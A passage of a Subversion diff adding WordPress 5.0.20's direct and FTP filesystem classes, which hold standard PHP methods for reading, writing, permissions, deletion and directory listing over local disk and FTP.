+} // WP_Filesystem_Base
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-direct.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-direct.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-direct.php	(revision 56912)
@@ -0,0 +1,489 @@
+<?php
+/**
+ * WordPress Direct Filesystem.
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * WordPress Filesystem Class for direct PHP file and folder manipulation.
+ *
+ * @since 2.5.0
+ *
+ * @see WP_Filesystem_Base
+ */
+class WP_Filesystem_Direct extends WP_Filesystem_Base {
+
+	/**
+	 * constructor
+	 *
+	 *
+	 * @param mixed $arg ignored argument
+	 */
+	public function __construct($arg) {
+		$this->method = 'direct';
+		$this->errors = new WP_Error();
+	}
+
+	/**
+	 * Reads entire file into a string
+	 *
+	 *
+	 * @param string $file Name of the file to read.
+	 * @return string|bool The function returns the read data or false on failure.
+	 */
+	public function get_contents($file) {
+		return @file_get_contents($file);
+	}
+
+	/**
+	 * Reads entire file into an array
+	 *
+	 *
+	 * @param string $file Path to the file.
+	 * @return array|bool the file contents in an array or false on failure.
+	 */
+	public function get_contents_array($file) {
+		return @file($file);
+	}
+
+	/**
+	 * Write a string to a file
+	 *
+	 *
+	 * @param string $file     Remote path to the file where to write the data.
+	 * @param string $contents The data to write.
+	 * @param int    $mode     Optional. The file permissions as octal number, usually 0644.
+	 *                         Default false.
+	 * @return bool False upon failure, true otherwise.
+	 */
+	public function put_contents( $file, $contents, $mode = false ) {
+		$fp = @fopen( $file, 'wb' );
+		if ( ! $fp )
+			return false;
+
+		mbstring_binary_safe_encoding();
+
+		$data_length = strlen( $contents );
+
+		$bytes_written = fwrite( $fp, $contents );
+
+		reset_mbstring_encoding();
+
+		fclose( $fp );
+
+		if ( $data_length !== $bytes_written )
+			return false;
+
+		$this->chmod( $file, $mode );
+
+		return true;
+	}
+
+	/**
+	 * Gets the current working directory
+	 *
+	 *
+	 * @return string|bool the current working directory on success, or false on failure.
+	 */
+	public function cwd() {
+		return @getcwd();
+	}
+
+	/**
+	 * Change directory
+	 *
+	 *
+	 * @param string $dir The new current directory.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chdir($dir) {
+		return @chdir($dir);
+	}
+
+	/**
+	 * Changes file group
+	 *
+	 *
+	 * @param string $file      Path to the file.
+	 * @param mixed  $group     A group name or number.
+	 * @param bool   $recursive Optional. If set True changes file group recursively. Default false.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chgrp($file, $group, $recursive = false) {
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive )
+			return @chgrp($file, $group);
+		if ( ! $this->is_dir($file) )
+			return @chgrp($file, $group);
+		// Is a directory, and we want recursive
+		$file = trailingslashit($file);
+		$filelist = $this->dirlist($file);
+		foreach ($filelist as $filename)
+			$this->chgrp($file . $filename, $group, $recursive);
+
+		return true;
+	}
+
+	/**
+	 * Changes filesystem permissions
+	 *
+	 *
+	 * @param string $file      Path to the file.
+	 * @param int    $mode      Optional. The permissions as octal number, usually 0644 for files,
+	 *                          0755 for dirs. Default false.
+	 * @param bool   $recursive Optional. If set True changes file group recursively. Default false.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chmod($file, $mode = false, $recursive = false) {
+		if ( ! $mode ) {
+			if ( $this->is_file($file) )
+				$mode = FS_CHMOD_FILE;
+			elseif ( $this->is_dir($file) )
+				$mode = FS_CHMOD_DIR;
+			else
+				return false;
+		}
+
+		if ( ! $recursive || ! $this->is_dir($file) )
+			return @chmod($file, $mode);
+		// Is a directory, and we want recursive
+		$file = trailingslashit($file);
+		$filelist = $this->dirlist($file);
+		foreach ( (array)$filelist as $filename => $filemeta)
+			$this->chmod($file . $filename, $mode, $recursive);
+
+		return true;
+	}
+
+	/**
+	 * Changes file owner
+	 *
+	 *
+	 * @param string $file      Path to the file.
+	 * @param mixed  $owner     A user name or number.
+	 * @param bool   $recursive Optional. If set True changes file owner recursively.
+	 *                          Default false.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chown($file, $owner, $recursive = false) {
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive )
+			return @chown($file, $owner);
+		if ( ! $this->is_dir($file) )
+			return @chown($file, $owner);
+		// Is a directory, and we want recursive
+		$filelist = $this->dirlist($file);
+		foreach ($filelist as $filename) {
+			$this->chown($file . '/' . $filename, $owner, $recursive);
+		}
+		return true;
+	}
+
+	/**
+	 * Gets file owner
+	 *
+	 *
+	 * @param string $file Path to the file.
+	 * @return string|bool Username of the user or false on error.
+	 */
+	public function owner($file) {
+		$owneruid = @fileowner($file);
+		if ( ! $owneruid )
+			return false;
+		if ( ! function_exists('posix_getpwuid') )
+			return $owneruid;
+		$ownerarray = posix_getpwuid($owneruid);
+		return $ownerarray['name'];
+	}
+
+	/**
+	 * Gets file permissions
+	 *
+	 * FIXME does not handle errors in fileperms()
+	 *
+	 *
+	 * @param string $file Path to the file.
+	 * @return string Mode of the file (last 3 digits).
+	 */
+	public function getchmod($file) {
+		return substr( decoct( @fileperms( $file ) ), -3 );
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return string|false
+	 */
+	public function group($file) {
+		$gid = @filegroup($file);
+		if ( ! $gid )
+			return false;
+		if ( ! function_exists('posix_getgrgid') )
+			return $gid;
+		$grouparray = posix_getgrgid($gid);
+		return $grouparray['name'];
+	}
+
+	/**
+	 *
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool   $overwrite
+	 * @param int    $mode
+	 * @return bool
+	 */
+	public function copy($source, $destination, $overwrite = false, $mode = false) {
+		if ( ! $overwrite && $this->exists($destination) )
+			return false;
+
+		$rtval = copy($source, $destination);
+		if ( $mode )
+			$this->chmod($destination, $mode);
+		return $rtval;
+	}
+
+	/**
+	 *
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool $overwrite
+	 * @return bool
+	 */
+	public function move($source, $destination, $overwrite = false) {
+		if ( ! $overwrite && $this->exists($destination) )
+			return false;
+
+		// Try using rename first. if that fails (for example, source is read only) try copy.
+		if ( @rename($source, $destination) )
+			return true;
+
+		if ( $this->copy($source, $destination, $overwrite) && $this->exists($destination) ) {
+			$this->delete($source);
+			return true;
+		} else {
+			return false;
+		}
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @param bool $recursive
+	 * @param string $type
+	 * @return bool
+	 */
+	public function delete($file, $recursive = false, $type = false) {
+		if ( empty( $file ) ) // Some filesystems report this as /, which can cause non-expected recursive deletion of all files in the filesystem.
+			return false;
+		$file = str_replace( '\\', '/', $file ); // for win32, occasional problems deleting files otherwise
+
+		if ( 'f' == $type || $this->is_file($file) )
+			return @unlink($file);
+		if ( ! $recursive && $this->is_dir($file) )
+			return @rmdir($file);
+
+		// At this point it's a folder, and we're in recursive mode
+		$file = trailingslashit($file);
+		$filelist = $this->dirlist($file, true);
+
+		$retval = true;
+		if ( is_array( $filelist ) ) {
+			foreach ( $filelist as $filename => $fileinfo ) {
+				if ( ! $this->delete($file . $filename, $recursive, $fileinfo['type']) )
+					$retval = false;
+			}
+		}
+
+		if ( file_exists($file) && ! @rmdir($file) )
+			$retval = false;
+
+		return $retval;
+	}
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function exists($file) {
+		return @file_exists($file);
+	}
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_file($file) {
+		return @is_file($file);
+	}
+	/**
+	 *
+	 * @param string $path
+	 * @return bool
+	 */
+	public function is_dir($path) {
+		return @is_dir($path);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_readable($file) {
+		return @is_readable($file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_writable($file) {
+		return @is_writable($file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return int
+	 */
+	public function atime($file) {
+		return @fileatime($file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return int
+	 */
+	public function mtime($file) {
+		return @filemtime($file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return int
+	 */
+	public function size($file) {
+		return @filesize($file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @param int $time
+	 * @param int $atime
+	 * @return bool
+	 */
+	public function touch($file, $time = 0, $atime = 0) {
+		if ($time == 0)
+			$time = time();
+		if ($atime == 0)
+			$atime = time();
+		return @touch($file, $time, $atime);
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @param mixed  $chmod
+	 * @param mixed  $chown
+	 * @param mixed  $chgrp
+	 * @return bool
+	 */
+	public function mkdir($path, $chmod = false, $chown = false, $chgrp = false) {
+		// Safe mode fails with a trailing slash under certain PHP versions.
+		$path = untrailingslashit($path);
+		if ( empty($path) )
+			return false;
+
+		if ( ! $chmod )
+			$chmod = FS_CHMOD_DIR;
+
+		if ( ! @mkdir($path) )
+			return false;
+		$this->chmod($path, $chmod);
+		if ( $chown )
+			$this->chown($path, $chown);
+		if ( $chgrp )
+			$this->chgrp($path, $chgrp);
+		return true;
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @param bool $recursive
+	 * @return bool
+	 */
+	public function rmdir($path, $recursive = false) {
+		return $this->delete($path, $recursive);
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @param bool $include_hidden
+	 * @param bool $recursive
+	 * @return bool|array
+	 */
+	public function dirlist($path, $include_hidden = true, $recursive = false) {
+		if ( $this->is_file($path) ) {
+			$limit_file = basename($path);
+			$path = dirname($path);
+		} else {
+			$limit_file = false;
+		}
+
+		if ( ! $this->is_dir($path) )
+			return false;
+
+		$dir = @dir($path);
+		if ( ! $dir )
+			return false;
+
+		$ret = array();
+
+		while (false !== ($entry = $dir->read()) ) {
+			$struc = array();
+			$struc['name'] = $entry;
+
+			if ( '.' == $struc['name'] || '..' == $struc['name'] )
+				continue;
+
+			if ( ! $include_hidden && '.' == $struc['name'][0] )
+				continue;
+
+			if ( $limit_file && $struc['name'] != $limit_file)
+				continue;
+
+			$struc['perms'] 	= $this->gethchmod($path.'/'.$entry);
+			$struc['permsn']	= $this->getnumchmodfromh($struc['perms']);
+			$struc['number'] 	= false;
+			$struc['owner']    	= $this->owner($path.'/'.$entry);
+			$struc['group']    	= $this->group($path.'/'.$entry);
+			$struc['size']    	= $this->size($path.'/'.$entry);
+			$struc['lastmodunix']= $this->mtime($path.'/'.$entry);
+			$struc['lastmod']   = date('M j',$struc['lastmodunix']);
+			$struc['time']    	= date('h:i:s',$struc['lastmodunix']);
+			$struc['type']		= $this->is_dir($path.'/'.$entry) ? 'd' : 'f';
+
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive);
+				else
+					$struc['files'] = array();
+			}
+
+			$ret[ $struc['name'] ] = $struc;
+		}
+		$dir->close();
+		unset($dir);
+		return $ret;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-ftpext.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-ftpext.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-ftpext.php	(revision 56912)
@@ -0,0 +1,581 @@
+<?php
+/**
+ * WordPress FTP Filesystem.
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * WordPress Filesystem Class for implementing FTP.
+ *
+ * @since 2.5.0
+ *
+ * @see WP_Filesystem_Base
+ */
+class WP_Filesystem_FTPext extends WP_Filesystem_Base {
+	public $link;
+
+	/**
+	 *
+	 * @param array $opt
+	 */
+	public function __construct( $opt = '' ) {
+		$this->method = 'ftpext';
+		$this->errors = new WP_Error();
+
+		// Check if possible to use ftp functions.
+		if ( ! extension_loaded('ftp') ) {
+			$this->errors->add('no_ftp_ext', __('The ftp PHP extension is not available'));
+			return;
+		}
+
+		// This Class uses the timeout on a per-connection basis, Others use it on a per-action basis.
+
+		if ( ! defined('FS_TIMEOUT') )
+			define('FS_TIMEOUT', 240);
+
+		if ( empty($opt['port']) )
+			$this->options['port'] = 21;
+		else
+			$this->options['port'] = $opt['port'];
+
+		if ( empty($opt['hostname']) )
+			$this->errors->add('empty_hostname', __('FTP hostname is required'));
+		else
+			$this->options['hostname'] = $opt['hostname'];
+
+		// Check if the options provided are OK.
+		if ( empty($opt['username']) )
+			$this->errors->add('empty_username', __('FTP username is required'));
+		else
+			$this->options['username'] = $opt['username'];
+
+		if ( empty($opt['password']) )
+			$this->errors->add('empty_password', __('FTP password is required'));
+		else
+			$this->options['password'] = $opt['password'];
+
+		$this->options['ssl'] = false;
+		if ( isset($opt['connection_type']) && 'ftps' == $opt['connection_type'] )
+			$this->options['ssl'] = true;
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function connect() {
+		if ( isset($this->options['ssl']) && $this->options['ssl'] && function_exists('ftp_ssl_connect') )
+			$this->link = @ftp_ssl_connect($this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT);
+		else
+			$this->link = @ftp_connect($this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT);
+
+		if ( ! $this->link ) {
+			$this->errors->add( 'connect',
+				/* translators: %s: hostname:port */
+				sprintf( __( 'Failed to connect to FTP Server %s' ),
+					$this->options['hostname'] . ':' . $this->options['port']
+				)
+			);
+			return false;
+		}
+
+		if ( ! @ftp_login( $this->link,$this->options['username'], $this->options['password'] ) ) {
+			$this->errors->add( 'auth',
+				/* translators: %s: username */
+				sprintf( __( 'Username/Password incorrect for %s' ),
+					$this->options['username']
+				)
+			);
+			return false;
+		}
+
+		// Set the Connection to use Passive FTP
+		@ftp_pasv( $this->link, true );
+		if ( @ftp_get_option($this->link, FTP_TIMEOUT_SEC) < FS_TIMEOUT )
+			@ftp_set_option($this->link, FTP_TIMEOUT_SEC, FS_TIMEOUT);
+
+		return true;
+	}
+
+	/**
+	 * Retrieves the file contents.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $file Filename.
+	 * @return string|false File contents on success, false if no temp file could be opened,
+	 *                      or if the file couldn't be retrieved.
+	 */
+	public function get_contents( $file ) {
+		$tempfile = wp_tempnam($file);
+		$temp = fopen($tempfile, 'w+');
+
+		if ( ! $temp ) {
+			unlink( $tempfile );
+			return false;
+		}
+
+		if ( ! @ftp_fget( $this->link, $temp, $file, FTP_BINARY ) ) {
+			fclose( $temp );
+			unlink( $tempfile );
+			return false;
+		}
+
+		fseek( $temp, 0 ); // Skip back to the start of the file being written to
+		$contents = '';
+
+		while ( ! feof($temp) )
+			$contents .= fread($temp, 8192);
+
+		fclose($temp);
+		unlink($tempfile);
+		return $contents;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return array
+	 */
+	public function get_contents_array($file) {
+		return explode("\n", $this->get_contents($file));
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @param string $contents
+	 * @param bool|int $mode
+	 * @return bool
+	 */
+	public function put_contents($file, $contents, $mode = false ) {
+		$tempfile = wp_tempnam($file);
+		$temp = fopen( $tempfile, 'wb+' );
+
+		if ( ! $temp ) {
+			unlink( $tempfile );
+			return false;
+		}
+
+		mbstring_binary_safe_encoding();
+
+		$data_length = strlen( $contents );
+		$bytes_written = fwrite( $temp, $contents );
+
+		reset_mbstring_encoding();
+
+		if ( $data_length !== $bytes_written ) {
+			fclose( $temp );
+			unlink( $tempfile );
+			return false;
+		}
+
+		fseek( $temp, 0 ); // Skip back to the start of the file being written to
+
+		$ret = @ftp_fput( $this->link, $file, $temp, FTP_BINARY );
+
+		fclose($temp);
+		unlink($tempfile);
+
+		$this->chmod($file, $mode);
+
+		return $ret;
+	}
+
+	/**
+	 *
+	 * @return string
+	 */
+	public function cwd() {
+		$cwd = @ftp_pwd($this->link);
+		if ( $cwd )
+			$cwd = trailingslashit($cwd);
+		return $cwd;
+	}
+
+	/**
+	 *
+	 * @param string $dir
+	 * @return bool
+	 */
+	public function chdir($dir) {
+		return @ftp_chdir($this->link, $dir);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @param int $mode
+	 * @param bool $recursive
+	 * @return bool
+	 */
+	public function chmod($file, $mode = false, $recursive = false) {
+		if ( ! $mode ) {
+			if ( $this->is_file($file) )
+				$mode = FS_CHMOD_FILE;
+			elseif ( $this->is_dir($file) )
+				$mode = FS_CHMOD_DIR;
+			else
+				return false;
+		}
+
+		// chmod any sub-objects if recursive.
+		if ( $recursive && $this->is_dir($file) ) {
+			$filelist = $this->dirlist($file);
+			foreach ( (array)$filelist as $filename => $filemeta )
+				$this->chmod($file . '/' . $filename, $mode, $recursive);
+		}
+
+		// chmod the file or directory
+		if ( ! function_exists('ftp_chmod') )
+			return (bool)@ftp_site($this->link, sprintf('CHMOD %o %s', $mode, $file));
+		return (bool)@ftp_chmod($this->link, $mode, $file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return string
+	 */
+	public function owner($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['owner'];
+	}
+	/**
+	 *
+	 * @param string $file
+	 * @return string
+	 */
+	public function getchmod($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['permsn'];
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return string
+	 */
+	public function group($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['group'];
+	}
+
+	/**
+	 *
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool   $overwrite
+	 * @param string|bool $mode
+	 * @return bool
+	 */
+	public function copy($source, $destination, $overwrite = false, $mode = false) {
+		if ( ! $overwrite && $this->exists($destination) )
+			return false;
+		$content = $this->get_contents($source);
+		if ( false === $content )
+			return false;
+		return $this->put_contents($destination, $content, $mode);
+	}
+
+	/**
+	 *
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool $overwrite
+	 * @return bool
+	 */
+	public function move($source, $destination, $overwrite = false) {
+		return ftp_rename($this->link, $source, $destination);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @param bool $recursive
+	 * @param string $type
+	 * @return bool
+	 */
+	public function delete($file, $recursive = false, $type = false) {
+		if ( empty($file) )
+			return false;
+		if ( 'f' == $type || $this->is_file($file) )
+			return @ftp_delete($this->link, $file);
+		if ( !$recursive )
+			return @ftp_rmdir($this->link, $file);
+
+		$filelist = $this->dirlist( trailingslashit($file) );
+		if ( !empty($filelist) )
+			foreach ( $filelist as $delete_file )
+				$this->delete( trailingslashit($file) . $delete_file['name'], $recursive, $delete_file['type'] );
+		return @ftp_rmdir($this->link, $file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function exists($file) {
+		$list = @ftp_nlist($this->link, $file);
+
+		if ( empty( $list ) && $this->is_dir( $file ) ) {
+			return true; // File is an empty directory.
+		}
+
+		return !empty($list); //empty list = no file, so invert.
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_file($file) {
+		return $this->exists($file) && !$this->is_dir($file);
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @return bool
+	 */
+	public function is_dir($path) {
+		$cwd = $this->cwd();
+		$result = @ftp_chdir($this->link, trailingslashit($path) );
+		if ( $result && $path == $this->cwd() || $this->cwd() != $cwd ) {
+			@ftp_chdir($this->link, $cwd);
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_readable($file) {
+		return true;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_writable($file) {
+		return true;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function atime($file) {
+		return false;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return int
+	 */
+	public function mtime($file) {
+		return ftp_mdtm($this->link, $file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return int
+	 */
+	public function size($file) {
+		return ftp_size($this->link, $file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function touch($file, $time = 0, $atime = 0) {
+		return false;
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @param mixed $chmod
+	 * @param mixed $chown
+	 * @param mixed $chgrp
+	 * @return bool
+	 */
+	public function mkdir($path, $chmod = false, $chown = false, $chgrp = false) {
+		$path = untrailingslashit($path);
+		if ( empty($path) )
+			return false;
+
+		if ( !@ftp_mkdir($this->link, $path) )
+			return false;
+		$this->chmod($path, $chmod);
+		return true;
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @param bool $recursive
+	 * @return bool
+	 */
+	public function rmdir($path, $recursive = false) {
+		return $this->delete($path, $recursive);
+	}
+
+	/**
+	 *
+	 * @staticvar bool $is_windows
+	 * @param string $line
+	 * @return array
+	 */
+	public function parselisting($line) {
+		static $is_windows = null;
+		if ( is_null($is_windows) )
+			$is_windows = stripos( ftp_systype($this->link), 'win') !== false;
+
+		if ( $is_windows && preg_match('/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/', $line, $lucifer) ) {
+			$b = array();
+			if ( $lucifer[3] < 70 )
+				$lucifer[3] +=2000;
+			else
+				$lucifer[3] += 1900; // 4digit year fix
+			$b['isdir'] = ( $lucifer[7] == '<DIR>');
+			if ( $b['isdir'] )
+				$b['type'] = 'd';
+			else
+				$b['type'] = 'f';
+			$b['size'] = $lucifer[7];
+			$b['month'] = $lucifer[1];
+			$b['day'] = $lucifer[2];
+			$b['year'] = $lucifer[3];
+			$b['hour'] = $lucifer[4];
+			$b['minute'] = $lucifer[5];
+			$b['time'] = @mktime($lucifer[4] + (strcasecmp($lucifer[6], "PM") == 0 ? 12 : 0), $lucifer[5], 0, $lucifer[1], $lucifer[2], $lucifer[3]);
+			$b['am/pm'] = $lucifer[6];
+			$b['name'] = $lucifer[8];
+		} elseif ( !$is_windows && $lucifer = preg_split('/[ ]/', $line, 9, PREG_SPLIT_NO_EMPTY)) {
+			//echo $line."\n";
+			$lcount = count($lucifer);
+			if ( $lcount < 8 )
+				return '';
+			$b = array();
+			$b['isdir'] = $lucifer[0]{0} === 'd';
+			$b['islink'] = $lucifer[0]{0} === 'l';
+			if ( $b['isdir'] )
+				$b['type'] = 'd';
+			elseif ( $b['islink'] )
+				$b['type'] = 'l';
+			else
+				$b['type'] = 'f';
+			$b['perms'] = $lucifer[0];
+			$b['permsn'] = $this->getnumchmodfromh( $b['perms'] );
+			$b['number'] = $lucifer[1];
+			$b['owner'] = $lucifer[2];
+			$b['group'] = $lucifer[3];
+			$b['size'] = $lucifer[4];
+			if ( $lcount == 8 ) {
+				sscanf($lucifer[5], '%d-%d-%d', $b['year'], $b['month'], $b['day']);
+				sscanf($lucifer[6], '%d:%d', $b['hour'], $b['minute']);
+				$b['time'] = @mktime($b['hour'], $b['minute'], 0, $b['month'], $b['day'], $b['year']);
+				$b['name'] = $lucifer[7];
+			} else {
+				$b['month'] = $lucifer[5];
+				$b['day'] = $lucifer[6];
+				if ( preg_match('/([0-9]{2}):([0-9]{2})/', $lucifer[7], $l2) ) {
+					$b['year'] = date("Y");
+					$b['hour'] = $l2[1];
+					$b['minute'] = $l2[2];
+				} else {
+					$b['year'] = $lucifer[7];
+					$b['hour'] = 0;
+					$b['minute'] = 0;
+				}
+				$b['time'] = strtotime( sprintf('%d %s %d %02d:%02d', $b['day'], $b['month'], $b['year'], $b['hour'], $b['minute']) );
+				$b['name'] = $lucifer[8];
+			}
+		}
+
+		// Replace symlinks formatted as "source -> target" with just the source name
+		if ( isset( $b['islink'] ) && $b['islink'] ) {
+			$b['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $b['name'] );
+		}
+
+		return $b;
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @param bool $include_hidden
+	 * @param bool $recursive
+	 * @return bool|array
+	 */
+	public function dirlist($path = '.', $include_hidden = true, $recursive = false) {
+		if ( $this->is_file($path) ) {
+			$limit_file = basename($path);
+			$path = dirname($path) . '/';
+		} else {
+			$limit_file = false;
+		}
+
+		$pwd = @ftp_pwd($this->link);
+		if ( ! @ftp_chdir($this->link, $path) ) // Cant change to folder = folder doesn't exist
+			return false;
+		$list = @ftp_rawlist($this->link, '-a', false);
+		@ftp_chdir($this->link, $pwd);
+
+		if ( empty($list) ) // Empty array = non-existent folder (real folder will show . at least)
+			return false;
+
+		$dirlist = array();
+		foreach ( $list as $k => $v ) {
+			$entry = $this->parselisting($v);
+			if ( empty($entry) )
+				continue;
+
+			if ( '.' == $entry['name'] || '..' == $entry['name'] )
+				continue;
+
+			if ( ! $include_hidden && '.' == $entry['name'][0] )
+				continue;
+
+			if ( $limit_file && $entry['name'] != $limit_file)
+				continue;
+
+			$dirlist[ $entry['name'] ] = $entry;
+		}
+
+		$ret = array();
+		foreach ( (array)$dirlist as $struc ) {
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive);
+				else
+					$struc['files'] = array();
+			}
+
+			$ret[ $struc['name'] ] = $struc;
+		}
+		return $ret;
+	}
+
+	/**
+	 */
+	public function __destruct() {
+		if ( $this->link )
+			ftp_close($this->link);
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-ftpsockets.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-ftpsockets.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-ftpsockets.php	(revision 56912)
@@ -0,0 +1,517 @@
+<?php
+/**
+ * WordPress FTP Sockets Filesystem.
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * WordPress Filesystem Class for implementing FTP Sockets.
+ *
+ * @since 2.5.0
+ *
+ * @see WP_Filesystem_Base
+ */
+class WP_Filesystem_ftpsockets extends WP_Filesystem_Base {
+	/**
+	 * @var ftp
+	 */
+	public $ftp;
+
+	/**
+	 *
+	 * @param array $opt
+	 */
+	public function __construct( $opt  = '' ) {
+		$this->method = 'ftpsockets';
+		$this->errors = new WP_Error();
+
+		// Check if possible to use ftp functions.
+		if ( ! @include_once( ABSPATH . 'wp-admin/includes/class-ftp.php' ) ) {
+			return;
+		}
+		$this->ftp = new ftp();
+
+		if ( empty($opt['port']) )
+			$this->options['port'] = 21;
+		else
+			$this->options['port'] = (int) $opt['port'];
+
+		if ( empty($opt['hostname']) )
+			$this->errors->add('empty_hostname', __('FTP hostname is required'));
+		else
+			$this->options['hostname'] = $opt['hostname'];
+
+		// Check if the options provided are OK.
+		if ( empty ($opt['username']) )
+			$this->errors->add('empty_username', __('FTP username is required'));
+		else
+			$this->options['username'] = $opt['username'];
+
+		if ( empty ($opt['password']) )
+			$this->errors->add('empty_password', __('FTP password is required'));
+		else
+			$this->options['password'] = $opt['password'];
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function connect() {
+		if ( ! $this->ftp )
+			return false;
+
+		$this->ftp->setTimeout(FS_CONNECT_TIMEOUT);
+
+		if ( ! $this->ftp->SetServer( $this->options['hostname'], $this->options['port'] ) ) {
+			$this->errors->add( 'connect',
+				/* translators: %s: hostname:port */
+				sprintf( __( 'Failed to connect to FTP Server %s' ),
+					$this->options['hostname'] . ':' . $this->options['port']
+				)
+			);
+			return false;
+		}
+
+		if ( ! $this->ftp->connect() ) {
+			$this->errors->add( 'connect',
+				/* translators: %s: hostname:port */
+				sprintf( __( 'Failed to connect to FTP Server %s' ),
+					$this->options['hostname'] . ':' . $this->options['port']
+				)
+			);
+			return false;
+		}
+
+		if ( ! $this->ftp->login( $this->options['username'], $this->options['password'] ) ) {
+			$this->errors->add( 'auth',
+				/* translators: %s: username */
+				sprintf( __( 'Username/Password incorrect for %s' ),
+					$this->options['username']
+				)
+			);
+			return false;
+		}
+
+		$this->ftp->SetType( FTP_BINARY );
+		$this->ftp->Passive( true );
+		$this->ftp->setTimeout( FS_TIMEOUT );
+		return true;
+	}
+
+	/**
+	 * Retrieves the file contents.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $file Filename.
+	 * @return string|false File contents on success, false if no temp file could be opened,
+	 *                      or if the file doesn't exist.
+	 */
+	public function get_contents( $file ) {
+		if ( ! $this->exists($file) )
+			return false;
+
+		$temp = wp_tempnam( $file );
+
+		if ( ! $temphandle = fopen( $temp, 'w+' ) ) {
+			unlink( $temp );
+			return false;
+		}
+
+		mbstring_binary_safe_encoding();
+
+		if ( ! $this->ftp->fget($temphandle, $file) ) {
+			fclose($temphandle);
+			unlink($temp);
+
+			reset_mbstring_encoding();
+
+			return ''; // Blank document, File does exist, It's just blank.
+		}
+
+		reset_mbstring_encoding();
+
+		fseek( $temphandle, 0 ); // Skip back to the start of the file being written to
+		$contents = '';
+
+		while ( ! feof($temphandle) )
+			$contents .= fread($temphandle, 8192);
+
+		fclose($temphandle);
+		unlink($temp);
+		return $contents;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return array
+	 */
+	public function get_contents_array($file) {
+		return explode("\n", $this->get_contents($file) );
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @param string $contents
+	 * @param int|bool $mode
+	 * @return bool
+	 */
+	public function put_contents($file, $contents, $mode = false ) {
+		$temp = wp_tempnam( $file );
+		if ( ! $temphandle = @fopen($temp, 'w+') ) {
+			unlink($temp);
+			return false;
+		}
+
+		// The FTP class uses string functions internally during file download/upload
+		mbstring_binary_safe_encoding();
+
+		$bytes_written = fwrite( $temphandle, $contents );
